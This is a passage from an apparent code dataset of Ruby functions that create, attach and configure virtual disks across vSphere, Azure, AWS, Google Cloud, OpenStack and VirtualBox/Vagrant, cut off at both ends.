spec_hash[:deviceChange] = device_change\n spec_hash[:extraConfig] =\n [{ :key => extra_key, :value => extra_value }]\n spec = RbVmomi::VIM.VirtualMachineConfigSpec(spec_hash)\n\n begin\n if storpod\n # Ask for StorageDRS recommendation\n # to reconfigure VM (AddDisk)\n sm = storagemanager\n\n # Disk id is -1 as I don't know\n # what disk id is going to be set\n disk_locator = [RbVmomi::VIM.PodDiskLocator(:diskId => -1)]\n\n # Disk locator is required for AddDisk\n vmpod_hash = {}\n vmpod_hash[:storagePod] = get_ds\n vmpod_hash[:disk] = disk_locator\n vmpod_config =\n RbVmomi::VIM::VmPodConfigForPlacement(\n vmpod_hash\n )\n\n # The storage pod selection requires initialize\n spod_hash = {}\n spod_hash[:initialVmConfig] = [vmpod_config]\n spod_select =\n RbVmomi::VIM::StorageDrsPodSelectionSpec(\n spod_hash\n )\n storage_spec = RbVmomi::VIM.StoragePlacementSpec(\n :type => :reconfigure,\n :podSelectionSpec => spod_select,\n :vm => self['_ref'],\n :configSpec => spec\n )\n\n # Query a storage placement recommendation\n result = sm\n .RecommendDatastores(\n :storageSpec => storage_spec\n ) rescue nil\n\n if result.nil?\n raise 'Could not get placement '\\\n 'specification for StoragePod'\n end\n\n if !result.respond_to?(:recommendations) ||\n result.recommendations.empty?\n raise 'Could not get placement '\\\n 'specification for StoragePod'\n end\n\n # Get recommendation key to be applied\n key = result.recommendations.first.key ||= ''\n\n if key.empty?\n raise 'Missing Datastore recommendation for StoragePod'\n end\n\n # Apply recommendation\n sm.ApplyStorageDrsRecommendation_Task(\n :key => [key]\n ).wait_for_completion\n\n # Add the key for the volatile disk to the\n # unmanaged opennebula.disk.id variables\n unit_number =\n spec_hash[:deviceChange][0][:device]\n .unitNumber\n controller_key =\n spec_hash[:deviceChange][0][:device]\n .controllerKey\n key =\n get_vcenter_disk_key(\n unit_number,\n controller_key\n )\n spec_hash = {}\n reference = {}\n reference[:key] =\n \"opennebula.disk.#{disk['DISK_ID']}\"\n reference[:value] = key.to_s\n spec_hash[:extraConfig] = [reference]\n @item\n .ReconfigVM_Task(\n :spec => spec_hash\n ).wait_for_completion\n else\n @item\n .ReconfigVM_Task(\n :spec => spec\n ).wait_for_completion\n end\n # Modify extraConfig if disks has a bad key\n sync_extraconfig_disk(spec_hash)\n rescue StandardError => e\n error = \"Cannot attach DISK to VM: #{e.message}.\"\n\n if VCenterDriver::CONFIG[:debug_information]\n error += \"\\n\\n#{e.backtrace.join(\"\\n\")}\"\n end\n\n raise error\n end\n end", "def addDisk(backingFile, sizeInMB, label = nil, summary = nil, options = {})\n # Remove nil keys if any, since the next line may not work\n options.reject! { |_k, v| v.nil? }\n # Merge default values:\n # - persistent is set to true to be backward compatible\n # - thin_provisioned is set to false explicitly since we call to_s on it further, so nil will not work for us\n options = {:persistent => true, :thin_provisioned => false}.merge(options)\n ck, un = available_scsi_units.first\n raise \"addDisk: no SCSI controller found\" unless ck\n\n vmConfigSpec = VimHash.new(\"VirtualMachineConfigSpec\") do |vmcs|\n vmcs.deviceChange = VimArray.new(\"ArrayOfVirtualDeviceConfigSpec\") do |vmcs_vca|\n vmcs_vca << VimHash.new(\"VirtualDeviceConfigSpec\") do |vdcs|\n vdcs.operation = VirtualDeviceConfigSpecOperation::Add\n if sizeInMB < 0\n sizeInMB = -sizeInMB\n else\n vdcs.fileOperation = VirtualDeviceConfigSpecFileOperation::Create\n end\n vdcs.device = VimHash.new(\"VirtualDisk\") do |vDev|\n vDev.key = -100 # temp key for creation\n vDev.capacityInKB = sizeInMB * 1024\n vDev.controllerKey = ck\n vDev.unitNumber = un\n # The following doesn't seem to work.\n vDev.deviceInfo = VimHash.new(\"Description\") do |desc|\n desc.label = label\n desc.summary = summary\n end if label || summary\n vDev.connectable = VimHash.new(\"VirtualDeviceConnectInfo\") do |con|\n con.allowGuestControl = \"false\"\n con.startConnected = \"true\"\n con.connected = \"true\"\n end\n if options[:dependent]\n mode = (options[:persistent] ? VirtualDiskMode::Persistent : VirtualDiskMode::Nonpersistent)\n else\n mode = (options[:persistent] ? VirtualDiskMode::Independent_persistent : VirtualDiskMode::Independent_nonpersistent)\n end\n vDev.backing = VimHash.new(\"VirtualDiskFlatVer2BackingInfo\") do |bck|\n bck.diskMode = mode\n bck.split = \"false\"\n bck.thinProvisioned = options[:thin_provisioned].to_s\n bck.writeThrough = \"false\"\n bck.fileName = backingFile\n begin\n dsn = @invObj.path2dsName(@dsPath)\n bck.datastore = @invObj.dsName2mo_local(dsn)\n rescue\n bck.datastore = nil\n end\n end\n end\n end\n end\n end\n\n logger.info \"MiqVimVm(#{@invObj.server}, #{@invObj.username}).addDisk: calling reconfigVM_Task\"\n taskMor = @invObj.reconfigVM_Task(@vmMor, vmConfigSpec)\n logger.info \"MiqVimVm(#{@invObj.server}, #{@invObj.username}).addDisk: returned from reconfigVM_Task\"\n waitForTask(taskMor)\n end", "def addVolume(dev, size, type: \"pd-standard\", delete_on_termination: false)\n devname = dev.gsub(/.*?\\/([^\\/]+)$/, '\\1')\n resname = MU::Cloud::Google.nameStr(@mu_name+\"-\"+devname)\n MU.log \"Creating disk #{resname}\"\n\n description = @deploy ? @deploy.deploy_id : @mu_name+\"-\"+devname\n\n newdiskobj = MU::Cloud::Google.compute(:Disk).new(\n size_gb: size,\n description: description,\n zone: @config['availability_zone'],\n# type: \"projects/#{config['project']}/zones/#{config['availability_zone']}/diskTypes/pd-ssd\",\n type: \"projects/#{@project_id}/zones/#{@config['availability_zone']}/diskTypes/#{type}\",\n# Other values include pd-ssd and local-ssd\n name: resname\n )\n\n begin\n newdisk = MU::Cloud::Google.compute(credentials: @config['credentials']).insert_disk(\n @project_id,\n @config['availability_zone'],\n newdiskobj\n )\n rescue ::Google::Apis::ClientError => e\n if e.message.match(/^alreadyExists: /)\n MU.log \"Disk #{resname} already exists, ignoring request to create\", MU::WARN\n return\n else\n raise e\n end\n end\n\n attachobj = MU::Cloud::Google.compute(:AttachedDisk).new(\n device_name: devname,\n source: newdisk.self_link,\n type: \"PERSISTENT\",\n auto_delete: delete_on_termination\n )\n\n MU.log \"Attaching disk #{resname} to #{@cloud_id} at #{devname}\"\n MU::Cloud::Google.compute(credentials: @config['credentials']).attach_disk(\n @project_id,\n @config['availability_zone'],\n @cloud_id,\n attachobj\n )\n\n end", "def attach_disk(config, prefix, disk_num, size)\n filename = \"#{prefix}#{disk_num}.vdi\"\n config.vm.provider \"virtualbox\" do |vb|\n if !File.exist?(filename) \n vb.customize ['createhd', '--filename', filename, '--size', (size * 1024).floor, '--variant', 'fixed']\n vb.customize ['modifyhd', filename, '--type', 'shareable']\n end\n\n vb.customize ['storageattach', :id, '--storagectl', 'SATAController', '--port', disk_num + 2, '--device', 0, '--type', 'hdd', '--medium', filename]\n end\nend", "def create_disk(disk_id, size)\n @logger.info(\"create_disk(#{disk_id}, #{size})\")\n storage_account_name = disk_id.storage_account_name\n disk_name = disk_id.disk_name\n @logger.info(\"Start to create an empty vhd blob: blob_name: #{disk_name}.vhd\")\n @blob_manager.create_empty_vhd_blob(storage_account_name, DISK_CONTAINER, \"#{disk_name}.vhd\", size)\n end", "def attach_disk(instance_id, disk_id)\n @logger.info(\"attach_disk(#{instance_id}, #{disk_id})\")\n disk_name = disk_id.disk_name()\n if instance_id.use_managed_disks?()\n disk_params = {\n :disk_name => disk_name,\n :caching => disk_id.caching(),\n :disk_bosh_id => disk_id.to_s,\n :disk_id => @azure_client2.get_managed_disk_by_name(disk_id.resource_group_name(), disk_name)[:id],\n :managed => true\n }\n else\n disk_params = {\n :disk_name => disk_name,\n :caching => disk_id.caching(),\n :disk_bosh_id => disk_id.to_s,\n :disk_uri => @disk_manager.get_data_disk_uri(disk_id),\n :disk_size => @disk_manager.get_disk_size_in_gb(disk_id),\n :managed => false\n }\n end\n lun = @azure_client2.attach_disk_to_virtual_machine(\n instance_id.resource_group_name(),\n instance_id.vm_name(),\n disk_params\n )\n \"#{lun}\"\n end", "def attach_disk(instance_id, disk_id)\n @logger.info(\"attach_disk(#{instance_id}, #{disk_id})\")\n disk_name = disk_id.disk_name\n disk_params = if instance_id.use_managed_disks?\n {\n disk_name: disk_name,\n caching: disk_id.caching,\n disk_bosh_id: disk_id.to_s,\n disk_id: @azure_client.get_managed_disk_by_name(disk_id.resource_group_name, disk_name)[:id],\n managed: true\n }\n else\n {\n disk_name: disk_name,\n caching: disk_id.caching,\n disk_bosh_id: disk_id.to_s,\n disk_uri: @disk_manager.get_data_disk_uri(disk_id),\n disk_size: @disk_manager.get_disk_size_in_gb(disk_id),\n managed: false\n }\n end\n lun = @azure_client.attach_disk_to_virtual_machine(\n instance_id.resource_group_name,\n instance_id.vm_name,\n disk_params\n )\n lun.to_s\n end", "def add_vm_disks(vm_service, disk_specs)\n storage_spec = disk_specs[:storage]\n default_disk_spec = disk_specs[:default] || {}\n attachments_service = vm_service.disk_attachments_service\n disk_specs[:disks].each do |disk_spec|\n attachment = prepare_vm_disk_attachment(default_disk_spec.merge(disk_spec), storage_spec)\n attachments_service.add(attachment)\n end\n end", "def disk(disk_id, opts = { :root_device => false })\n @disks << disk_id\n @root_device = @disks.length if opts[:root_device]\n end", "def create_disk(name, size_mb, vm = nil, retries = @retries[\"default\"])\n new_disk = Xml::WrapperFactory.create_instance(\"DiskCreateParams\")\n new_disk.name = name\n new_disk.size_bytes = size_mb * 1024 * 1024 # VCD expects bytes\n new_disk.bus_type = Xml::HARDWARE_TYPE[:SCSI_CONTROLLER]\n new_disk.bus_sub_type = Xml::BUS_SUB_TYPE[:LSILOGIC]\n new_disk.add_locality(vm) if vm\n vdc = get_ovdc\n @logger.info(\"Creating independent disk #{name} of #{size_mb}MB.\")\n @logger.info(\"Disk locality ist set to #{vm.name} #{vm.urn}.\") if vm\n disk = @connection.post(vdc.add_disk_link, new_disk,\n Xml::MEDIA_TYPE[:DISK_CREATE_PARAMS])\n raise ApiRequestError unless disk.respond_to?(:running_tasks)\n # Creating a disk returns a disk with tasks inside\n retries.times do |try|\n return disk if disk.running_tasks.nil? || disk.running_tasks.empty?\n @logger.info(\"Disk #{disk.urn} has running tasks. Waiting for \" +\n \"tasks to finish. Try: #{try}/#{retries} .\" )\n disk.running_tasks.each do |t|\n monitor_task(t)\n end\n disk = @connection.get(disk)\n end\n end", "def attach_disk(instance_id, disk_id)\n with_thread_name(\"attach_disk(#{instance_id}, #{disk_id})\") do\n _ = @cloud_core.attach_disk(instance_id, disk_id) do |instance, device_name|\n update_agent_settings(instance_id) do |settings|\n settings['disks'] ||= {}\n settings['disks']['persistent'] ||= {}\n settings['disks']['persistent'][disk_id] = BlockDeviceManager.device_path(device_name, instance.instance_type, disk_id)\n end\n end\n end\n end", "def create_disk(size, cloud_properties, server_id = nil)\n volume_service_client = @openstack.volume\n with_thread_name(\"create_disk(#{size}, #{cloud_properties}, #{server_id})\") do\n raise ArgumentError, 'Disk size needs to be an integer' unless size.is_a?(Integer)\n cloud_error('Minimum disk size is 1 GiB') if size < 1024\n\n unique_name = generate_unique_name\n volume_params = {\n # cinder v1 requires display_ prefix\n display_name: \"volume-#{unique_name}\",\n display_description: '',\n # cinder v2 does not require prefix\n name: \"volume-#{unique_name}\",\n description: '',\n size: mib_to_gib(size),\n }\n\n if cloud_properties.key?('type')\n volume_params[:volume_type] = cloud_properties['type']\n elsif !@default_volume_type.nil?\n volume_params[:volume_type] = @default_volume_type\n end\n\n if server_id && @az_provider.constrain_to_server_availability_zone?\n server = @openstack.with_openstack { @openstack.compute.servers.get(server_id) }\n volume_params[:availability_zone] = server.availability_zone if server&.availability_zone\n end\n\n @logger.info('Creating new volume...')\n new_volume = @openstack.with_openstack { volume_service_client.volumes.create(volume_params) }\n\n @logger.info(\"Creating new volume `#{new_volume.id}'...\")\n @openstack.wait_resource(new_volume, :available)\n\n new_volume.id.to_s\n end\n end", "def create_disk(size)\n @logger.info(\"create_disk(#{size})\")\n disk_name = \"bosh-disk-#{SecureRandom.uuid}\"\n logger.info(\"Start to create an empty vhd blob: blob_name: #{disk_name}.vhd\")\n @blob_manager.create_empty_vhd_blob(container_name, \"#{disk_name}.vhd\", size)\n disk_name\n end", "def configure_disks(vb, server, hostname, name)\n vminfo = vm_info(name)\n disks = server['disks'] || {}\n unless vminfo =~ /Storage Controller Name \\(1\\): *SATA Controller/\n # puts \"Attaching SATA Controller\"\n vb.customize [\n 'storagectl', :id,\n '--name', 'SATA Controller',\n '--add', 'sata',\n '--portcount', disks.size\n ]\n # else\n # puts 'SATA Controller already attached'\n end\n\n disks.each_with_index do |disk, i|\n disk_name = disk.first\n disk_size = disk.last['size']\n disk_uuid = disk.last['uuid']\n real_uuid = \"00000000-0000-0000-0000-#{disk_uuid.rjust(12,'0')}\"\n if server['cluster']\n disk_filename = File.join(VAGRANT_ROOT, \"#{disk_name}_#{server['cluster']}.vdi\")\n else\n disk_filename = File.join(VAGRANT_ROOT, \"#{disk_name}.vdi\")\n end\n\n if File.file?(disk_filename)\n # puts \"Disk #{disk_filename} already created\"\n disk_hash = `VBoxManage showmediuminfo \"#{disk_filename}\"`.scan(/(.*): *(.*)/).to_h\n current_uuid = disk_hash['UUID']\n else\n # puts \"Creating disk #{disk_filename}\"\n current_uuid = '0'\n if server['cluster']\n vb.customize [\n 'createhd',\n '--filename', disk_filename,\n '--size', disk_size.to_s,\n '--variant', 'Fixed'\n ]\n vb.customize [\n 'modifyhd', disk_filename,\n '--type', 'shareable'\n ]\n else\n vb.customize [\n 'createhd',\n '--filename', disk_filename,\n '--size', disk_size.to_s,\n '--variant', 'Standard'\n ]\n end\n end\n\n # Conditional for adding disk_uuid\n if server['cluster'] && current_uuid == real_uuid\n # puts \"Attaching shareable disk #{disk_filename}\"\n vb.customize [\n 'storageattach', :id,\n '--storagectl', 'SATA Controller',\n '--port', (i + 1).to_s,\n '--device', 0,\n '--type', 'hdd',\n '--medium', disk_filename,\n '--mtype', 'shareable'\n ]\n elsif server['cluster']\n # puts \"Attaching shareable disk #{disk_filename}, adding UUID #{real_uuid}\"\n vb.customize [\n 'storageattach', :id,\n '--storagectl', 'SATA Controller',\n '--port', (i + 1).to_s,\n '--device', 0,\n '--type', 'hdd',\n '--medium', disk_filename,\n '--mtype', 'shareable',\n '--setuuid', real_uuid\n ]\n elsif current_uuid == real_uuid\n # puts \"Attaching normal disk #{disk_filename}\"\n vb.customize [\n 'storageattach', :id,\n '--storagectl', 'SATA Controller',\n '--port', (i + 1).to_s,\n '--device', 0,\n '--type', 'hdd',\n '--medium', disk_filename\n ]\n else\n # puts \"Attaching normal disk #{disk_filename}, adding UUID #{real_uuid}\"\n vb.customize [\n 'storageattach', :id,\n '--storagectl', 'SATA Controller',\n '--port', (i + 1).to_s,\n '--device', 0,\n '--type', 'hdd',\n '--medium', disk_filename,\n '--setuuid', real_uuid\n ]\n end\n end\nend", "def add_instance_disk(array, instance, disk)\n if instance.managed_disk?\n disk_type = 'managed'\n disk_location = disk.managed_disk.id\n managed_disk = @managed_disks.find { |d| d.id.casecmp(disk_location).zero? }\n\n if managed_disk\n disk_size = managed_disk.properties.disk_size_gb.gigabytes\n mode = managed_disk.try(:sku).try(:name)\n else\n _log.warn(\"Unable to find disk information for #{instance.name}/#{instance.resource_group}\")\n disk_size = nil\n mode = nil\n end\n else\n disk_type = 'unmanaged'\n disk_location = disk.try(:vhd).try(:uri)\n disk_size = disk.try(:disk_size_gb).try(:gigabytes)\n\n if disk_location\n uri = Addressable::URI.parse(disk_location)\n storage_name = uri.host.split('.').first\n container_name = File.dirname(uri.path)\n blob_name = uri.basename\n\n storage_acct = @storage_accounts.find { |s| s.name.casecmp(storage_name).zero? }\n mode = storage_acct.try(:sku).try(:name)\n\n if @options.get_unmanaged_disk_space && disk_size.nil?\n storage_keys = @sas.list_account_keys(storage_acct.name, storage_acct.resource_group)\n storage_key = storage_keys['key1'] || storage_keys['key2']\n blob_props = storage_acct.blob_properties(container_name, blob_name, storage_key)\n disk_size = blob_props.content_length.to_i\n end\n end\n end\n\n disk_record = {\n :device_type => 'disk',\n :controller_type => 'azure',\n :device_name => disk.name,\n :location => disk_location,\n :size => disk_size,\n :disk_type => disk_type,\n :mode => mode\n }\n\n array << disk_record\n end", "def provision_and_mount_volume(server, disk_size, device)\n unless provider.find_server_device(server, device)\n say \"Provisioning #{disk_size}Gb persistent disk for inception VM...\"\n provider.create_and_attach_volume(\"Inception Disk\", disk_size, server, device)\n end\n\n # Format and mount the volume\n if aws?\n say \"Skipping volume mounting on AWS 12.10 inception VM until its fixed\", [:yellow, :bold]\n run_ssh_command_until_successful server, \"sudo mkdir -p /var/vcap/store\"\n else\n say \"Mounting persistent disk as volume on inception VM...\"\n run_ssh_command_until_successful server, \"sudo mkfs.ext4 #{device} -F\"\n run_ssh_command_until_successful server, \"sudo mkdir -p /var/vcap/store\"\n run_ssh_command_until_successful server, \"sudo mount #{device} /var/vcap/store\"\n end\n end", "def create_vbox_hdd(client_name,vbox_disk_name)\n message = \"Creating:\\tVM hard disk for \"+client_name\n command = \"VBoxManage createhd --filename \\\"#{vbox_disk_name}\\\" --size \\\"#{$default_vm_size}\\\"\"\n execute_command(message,command)\n return\nend", "def attach_disk(instance_id, disk_id)\n with_thread_name(\"attach_disk(#{instance_id}, #{disk_id})\") do\n instance = @ec2_client.instances[instance_id]\n volume = @ec2_client.volumes[disk_id]\n\n device_name = attach_ebs_volume(instance, volume)\n\n update_agent_settings(instance) do |settings|\n settings[\"disks\"] ||= {}\n settings[\"disks\"][\"persistent\"] ||= {}\n settings[\"disks\"][\"persistent\"][disk_id] = device_name\n end\n logger.info(\"Attached `#{disk_id}' to `#{instance_id}'\")\n end\n\n # log registry settings for debugging\n logger.debug(\"updated registry settings: #{registry.read_settings(instance_id)}\")\n end", "def add_data_disk(vm_name, cloud_service_name, options = {})\n options[:import] ||= false\n vm = get_virtual_machine(vm_name, cloud_service_name)\n if vm\n path = \"/services/hostedservices/#{cloud_service_name}/deployments/#{vm.deployment_name}/roles/#{vm_name}/DataDisks\"\n body = Serialization.add_data_disk_to_xml(vm, options)\n Azure::Loggerx.info \"Adding data disk to virtual machine #{vm_name} ...\"\n request = client.management_request(:post, path, body: body)\n request.call\n else\n Azure::Loggerx.error \"Cannot find virtual machine \\\"#{vm_name}\\\" under cloud service \\\"#{cloud_service_name}\\\".\"\n end\n end", "def attach_disk(instance_id, disk_id)\n with_thread_name(\"attach_disk(#{instance_id}, #{disk_id})\") do\n instance = @ec2_resource.instance(instance_id)\n volume = @ec2_resource.volume(disk_id)\n\n device_name = attach_ebs_volume(instance, volume)\n\n update_agent_settings(instance) do |settings|\n settings[\"disks\"] ||= {}\n settings[\"disks\"][\"persistent\"] ||= {}\n settings[\"disks\"][\"persistent\"][disk_id] = device_name\n end\n logger.info(\"Attached `#{disk_id}' to `#{instance_id}'\")\n end\n\n # log registry settings for debugging\n logger.debug(\"updated registry settings: #{registry.read_settings(instance_id)}\")\n end", "def attach_disk_to_vm(vm)\n begin\n start_time = Time.now.to_i\n OOLog.info(\"Attaching Storage disk ....\")\n vm_promise = @compute_client.virtual_machines.create_or_update(@rg_name, @instance_name, vm)\n my_vm = vm_promise.value!\n end_time = Time.now.to_i\n duration = end_time - start_time\n OOLog.info(\"Storage Disk attached #{duration} seconds\")\n OOLog.info(\"VM: #{my_vm.body.name} UPDATED!!!\")\n return true\n rescue MsRestAzure::AzureOperationError =>e\n OOLog.debug( e.body.inspect)\n if e.body.to_s =~ /InvalidParameter/ && e.body.to_s =~ /already exists/\n OOLog.debug(\"The disk is already attached\")\n else\n OOLog.fatal(e.body)\n end\n rescue MsRestAzure::CloudErrorData =>e\n OOLog.fatal(e.body.message)\n rescue Exception => ex\n OOLog.fatal(ex.message)\n end\n end", "def attach_disk(opts, disk_name, instance_id)\n Djinn.log_debug('Calling attach_disk with parameters ' \\\n \"#{opts.inspect}, with disk name #{disk_name} and instance id \" +\n instance_id.to_s)\n\n # Make a copy (the options are a simple hash so shallow copy does the\n # trick) to not modify the original.\n options = opts.clone\n options['instance_id'] = instance_id\n options['disk_name'] = disk_name\n\n uri = URI(\"http://#{@ip}:#{SERVER_PORT}/instance\")\n headers = {'Content-Type' => 'application/json',\n 'AppScale-Secret' => @secret}\n request = Net::HTTP::Post.new(uri.path, headers)\n\n request.body = JSON.dump(options)\n\n return JSON.parse(make_call(request, uri))['location']\n end", "def attach_volumes!(server, volumes_count, size)\n #create a new block storage connection obj\n volume_service = Fog::Volume::OpenStack.new(\n :openstack_api_key => @os_password,\n :openstack_username => @os_username,\n :openstack_auth_url => @os_auth_url,\n :openstack_tenant => @os_tenant,\n )\n base = 'sdd'\n volumes_count.times do |i|\n base = base.next!\n #create a new volume\n vol = volume_service.volumes.create(\n :size => size,\n :display_name => \"#{server.name}-#{i}\",\n :description => \"Volume attached to #{server.name} - managed by ankus\"\n )\n vol.reload\n vol.wait_for { status == 'available' }\n server.attach_volume(vol.id, \"/dev/#{base}\")\n vol.wait_for { status == 'in-use' }\n end\n end", "def create(size)\n disk_id = uuid\n sh \"zfs create -o reservation=1024 -o quota=1024 #{base}/#{disk_id}\"\n disk_id\n end", "def attach_disk(vm_id, disk_id)\n with_thread_name(\"attach_disk(#{vm_id}, #{disk_id})\") do\n begin\n # Don't go further if the volume group is already attached\n return if volume_group_attached?(vm_id, disk_id)\n @logger.debug(\"Attaching volume group #{disk_id} to VM #{vm_id}\")\n @vol_group_manager.attach_to_vm(disk_id, vm_id)\n update_agent_settings(vm_id) do |settings|\n settings['disks']['persistent'] ||= {}\n disks = settings['disks']\n drive = \"/dev/sd#{get_drive_letter(disks)}\"\n settings['disks']['persistent'][disk_id] = drive\n end\n rescue => e\n @logger.error(e)\n cloud_error(e.message)\n end\n end\n end", "def create_disk(disk_id, location, size, storage_account_type)\n @logger.info(\"create_disk(#{disk_id}, #{location}, #{size}, #{storage_account_type})\")\n resource_group_name = disk_id.resource_group_name()\n disk_name = disk_id.disk_name()\n caching = disk_id.caching()\n tags = AZURE_TAGS.merge({\n \"caching\" => caching\n })\n disk_params = {\n :name => disk_name,\n :location => location,\n :tags => tags,\n :disk_size => size,\n :account_type => storage_account_type\n }\n @logger.info(\"Start to create an empty managed disk `#{disk_name}' in resource group `#{resource_group_name}'\")\n @azure_client2.create_empty_managed_disk(resource_group_name, disk_params)\n end", "def create_disk(size, cloud_properties, vm_id = nil)\n with_thread_name(\"create_disk(#{size})\") do\n begin\n @logger.debug(\"Persistent Disk Size: #{size}\")\n @logger.debug(\"Cloud Properties: #{cloud_properties}\")\n @logger.debug(\"VM Id: #{vm_id}\")\n # Form a name for the volume group\n vol_group_name = \"bosh-peristent-disk-#{vm_id}-#{rand(1000)}\"\n # Create the volume group\n volume_uuid = @vol_group_manager.create_volume_group(vol_group_name)\n @logger.info(\"New volume group created [#{vol_group_name}]\")\n # Create a volume disk\n @vol_group_manager.create_volume_disk(volume_uuid, size,\n @container_uuid)\n @logger.info(\"New volume disk created on volume #{vol_group_name}.\")\n # Return volume group's uuid\n volume_uuid\n rescue => e\n logger.error(e)\n cloud_error(e.message)\n end\n end\n end", "def add_cdrom_to_vbox_vm(client_name)\n message = \"Attaching:\\tCDROM to VM \"+client_name\n command = \"VBoxManage storagectl \\\"#{client_name}\\\" --name \\\"cdrom\\\" --add \\\"sata\\\" --controller \\\"IntelAHCI\\\"\"\n execute_command(message,command)\n if File.exist?($vbox_additions_iso)\n message = \"Attaching:\\tISO \"+$vbox_additions_iso+\" to VM \"+client_name\n command = \"VBoxManage storageattach \\\"#{client_name}\\\" --storagectl \\\"cdrom\\\" --port 0 --device 0 --type dvddrive --medium \\\"#{$vbox_additions_iso}\\\"\"\n execute_command(message,command)\n end\n return\nend", "def create_gdom_disk(options)\n client_disk = options['q_struct']['gdom_disk'].value\n disk_size = options['q_struct']['gdom_size'].value\n disk_size = disk_size.downcase\n vds_disk = options['name']+\"_vdisk0\"\n if not client_disk.match(/\\/dev/)\n if not File.exist?(client_disk)\n message = \"Information:\\tCreating guest domain disk \"+client_disk+\" for client \"+options['name']\n command = \"mkfile -n #{disk_size} #{client_disk}\"\n output = execute_command(options,message,command)\n end\n end\n message = \"Information:\\tChecking Virtual Disk Server device doesn't already exist\"\n command = \"ldm list-services |grep 'primary-vds0' |grep '#{vds_disk}'\"\n output = execute_command(options,message,command)\n if not output.match(/#{options['name']}/)\n message = \"Information:\\tAdding disk device to Virtual Disk Server\"\n command = \"ldm add-vdsdev #{client_disk} #{vds_disk}@primary-vds0\"\n output = execute_command(options,message,command)\n end\n return\nend", "def attach_volumes(node, disk_sizes)\n if $provider == :virtualbox\n node.vm.provider :virtualbox do |v, override|\n disk_num = 0\n disk_sizes.each do |disk_size|\n disk_num += 1\n diskname = File.join(File.dirname(File.expand_path(__FILE__)), \".virtualbox\", \"#{node.vm.hostname}-#{disk_num}.vdi\")\n unless File.exist?(diskname)\n v.customize ['createhd', '--filename', diskname, '--size', disk_size * 1024]\n end\n v.customize ['storageattach', :id, '--storagectl', 'SATA Controller', '--port', disk_num, '--device', 0, '--type', 'hdd', '--medium', diskname]\n end\n end\n end\n\n if $provider == :vmware_fusion\n node.vm.provider :vmware_fusion do |v, override|\n vdiskmanager = '/Applications/VMware\\ Fusion.app/Contents/Library/vmware-vdiskmanager'\n unless File.exist?(vdiskmanager)\n dir = File.join(File.dirname(File.expand_path(__FILE__)), \".vmware\")\n unless File.directory?( dir )\n Dir.mkdir dir\n end\n\n disk_num = 0\n disk_sizes.each do |disk_size|\n disk_num += 1\n diskname = File.join(dir, \"#{node.vm.hostname}-#{disk_num}.vmdk\")\n unless File.exist?(diskname)\n `#{vdiskmanager} -c -s #{disk_size}GB -a lsilogic -t 1 #{diskname}`\n end\n\n v.vmx[\"scsi0:#{disk_num}.filename\"] = diskname\n v.vmx[\"scsi0:#{disk_num}.present\"] = 'TRUE'\n v.vmx[\"scsi0:#{disk_num}.redo\"] = ''\n end\n end\n end\n end\n\n if $provider == :parallels\n node.vm.provider :parallels do |v, override|\n disk_sizes.each do |disk_size|\n v.customize ['set', :id, '--device-add', 'hdd', '--size', disk_size * 1024]\n end\n end\n end\n\nend", "def create_disk(size, cloud_properties, vm_cid = nil)\n @telemetry_manager.monitor('initialize') do\n _init_azure\n end\n with_thread_name(\"create_disk(#{size}, #{cloud_properties})\") do\n id = vm_cid.nil? ? '' : vm_cid\n extras = { 'disk_size' => size }\n @telemetry_manager.monitor('create_disk', id: id, extras: extras) do\n validate_disk_size(size)\n disk_id = nil\n if @use_managed_disks\n if vm_cid.nil?\n # If instance_id is nil, the managed disk will be created in the resource group location.\n resource_group_name = _azure_config.resource_group_name\n resource_group = @azure_client.get_resource_group(resource_group_name)\n location = resource_group[:location]\n default_storage_account_type = STORAGE_ACCOUNT_TYPE_STANDARD_LRS\n zone = nil\n else\n instance_id = InstanceId.parse(vm_cid, _azure_config.resource_group_name)\n cloud_error('Cannot create a managed disk for a VM with unmanaged disks') unless instance_id.use_managed_disks?\n resource_group_name = instance_id.resource_group_name\n # If the instance is a managed VM, the managed disk will be created in the location of the VM.\n vm = @azure_client.get_virtual_machine_by_name(resource_group_name, instance_id.vm_name)\n location = vm[:location]\n instance_type = vm[:vm_size]\n zone = vm[:zone]\n default_storage_account_type = get_storage_account_type_by_instance_type(instance_type)\n end\n storage_account_type = cloud_properties.fetch('storage_account_type', default_storage_account_type)\n caching = cloud_properties.fetch('caching', 'None')\n validate_disk_caching(caching)\n disk_id = DiskId.create(caching, true, resource_group_name: resource_group_name)\n @disk_manager2.create_disk(disk_id, location, size / 1024, storage_account_type, zone)\n else\n storage_account_name = _azure_config.storage_account_name\n caching = cloud_properties.fetch('caching', 'None')\n validate_disk_caching(caching)\n unless vm_cid.nil?\n instance_id = InstanceId.parse(vm_cid, _azure_config.resource_group_name)\n @logger.info(\"Create disk for vm '#{instance_id.vm_name}'\")\n storage_account_name = instance_id.storage_account_name\n end\n disk_id = DiskId.create(caching, false, storage_account_name: storage_account_name)\n @disk_manager.create_disk(disk_id, size / 1024)\n end\n disk_id.to_s\n end\n end\n end", "def attach_disk(vm_cid, disk_cid)\n @telemetry_manager.monitor('initialize') do\n _init_azure\n end\n with_thread_name(\"attach_disk(#{vm_cid},#{disk_cid})\") do\n @telemetry_manager.monitor('attach_disk', id: vm_cid) do\n instance_id = InstanceId.parse(vm_cid, _azure_config.resource_group_name)\n disk_id = DiskId.parse(disk_cid, _azure_config.resource_group_name)\n vm_name = instance_id.vm_name\n disk_name = disk_id.disk_name\n\n vm = @vm_manager.find(instance_id)\n\n # Workaround for issue #280\n # Issue root cause: Attaching a data disk to a VM whose OS disk is busy might lead to OS hang.\n # If 'use_root_disk' is true in vm_types/vm_extensions, release packages will be copied to OS disk before attaching data disk,\n # it will continuously write the data to OS disk, that is why OS disk is busy.\n # Workaround: Sleep 30 seconds before attaching data disk, to wait for completion of data writing.\n has_ephemeral_disk = false\n vm[:data_disks].each do |disk|\n has_ephemeral_disk = true if is_ephemeral_disk?(disk[:name])\n end\n unless has_ephemeral_disk\n @logger.debug('Sleep 30 seconds before attaching data disk - workaround for issue #280')\n sleep(30)\n end\n\n if @use_managed_disks\n disk = @disk_manager2.get_data_disk(disk_id)\n vm_zone = vm[:zone]\n if instance_id.use_managed_disks?\n if disk.nil?\n if disk_id.disk_name.start_with?(DATA_DISK_PREFIX)\n @logger.info(\"attach_disk - migrate the disk '#{disk_name}' from unmanaged to managed\")\n begin\n storage_account_name = disk_id.storage_account_name\n blob_uri = @disk_manager.get_data_disk_uri(disk_id)\n storage_account = @azure_client.get_storage_account_by_name(storage_account_name)\n location = storage_account[:location]\n # Can not use the type of the default storage account because only Standard_LRS and Premium_LRS are supported for managed disk.\n account_type = 